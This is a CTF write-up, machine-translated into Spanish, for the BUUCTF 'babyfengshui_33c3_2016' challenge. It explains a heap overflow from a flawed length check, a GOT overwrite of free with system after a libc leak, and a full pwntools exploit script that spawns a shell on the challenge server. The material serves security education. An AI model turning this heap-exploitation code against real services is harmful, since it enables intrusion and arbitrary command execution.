buuctf babyfengshui_33c3_2016

Estas son las cuatro funciones principales: función
agregar:
Inserte la descripción de la imagen aquí
la parte de entrada de la función agregar:
Inserte la descripción de la imagen aquí
al mismo tiempo, esta es también la función de actualización, de hecho, esta función tiene lagunas de desbordamiento, tiene un problema con la verificación de longitud, que se usará más adelante Una pequeña
función de eliminación: función de
Inserte la descripción de la imagen aquí
visualización:
Inserte la descripción de la imagen aquí
primero cree algunos trozos a voluntad, mire el diseño,

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"cccc")

Inserte la descripción de la imagen aquí
Tome el primero como ejemplo. El fragmento que almacena el texto viene primero, seguido del fragmento que almacena el nombre, que almacena los punteros del nombre y el fragmento0. Echemos un vistazo a la comprobación del programa sobre la longitud de entrada:
Inserte la descripción de la imagen aquí
para fragmento0, es si 0x80c008 + la longitud de entrada es mayor que 0x804c08c, sin embargo, existe el problema de que chunk0 y chunk0 (nombre) no son necesariamente adyacentes entre sí. De esta manera, existe la posibilidad de desbordamiento

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")

Después de este paso, el chunk3 recién aplicado estará delante de chunk1 y chunk2, y chunk3 (nombre) estará detrás de chunk1 y chunk2, de modo que se puedan ingresar datos largos

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)

Cambie el puntero chunk1 almacenado en chunk1 (nombre) a la dirección de free_got

show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")

Imprima la dirección de la función libre y calcule la dirección de la función del sistema

update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()

Modifique la dirección de la función libre a la dirección de la función del sistema. Dado que chunk2 almacena "/ bin / sh", ejecutar free (chunk2) en este momento es equivalente a ejecutar system ("/ bin / sh")
complete exp:

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
sh=remote("node3.buuoj.cn",25902)
elf=ELF('./babyfengshui_33c3_2016')
puts_got=elf.got['puts']
free_got=elf.got['free']

def add(size,name,length,text):
	sh.recvuntil("Action: ")
	sh.sendline("0")
	sh.sendlineafter("size of description: ",str(size))
	sh.sendlineafter("name: ",name)
	sh.recvuntil("text length:")
	sh.sendline(str(length))
	sh.recvuntil("text:")
	sh.sendline(text)
def delete(index):
	sh.recvuntil("Action: ")
	sh.sendline("1")
	sh.recvuntil("index: ")
	sh.sendline(str(index))
def show(index):
	sh.recvuntil("Action: ")
	sh.sendline("2")
	sh.recvuntil("index: ")
	sh.sendline(str(index))
def update(index,length,text):
	sh.recvuntil("Action: ")
	sh.sendline("3")
	sh.recvuntil("index: ")
	sh.sendline(str(index))
	sh.recvuntil("text length: ")
	sh.sendline(str(length))
	sh.recvuntil("text: ")
	sh.sendline(text)

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/108093060
Recomendado
Clasificación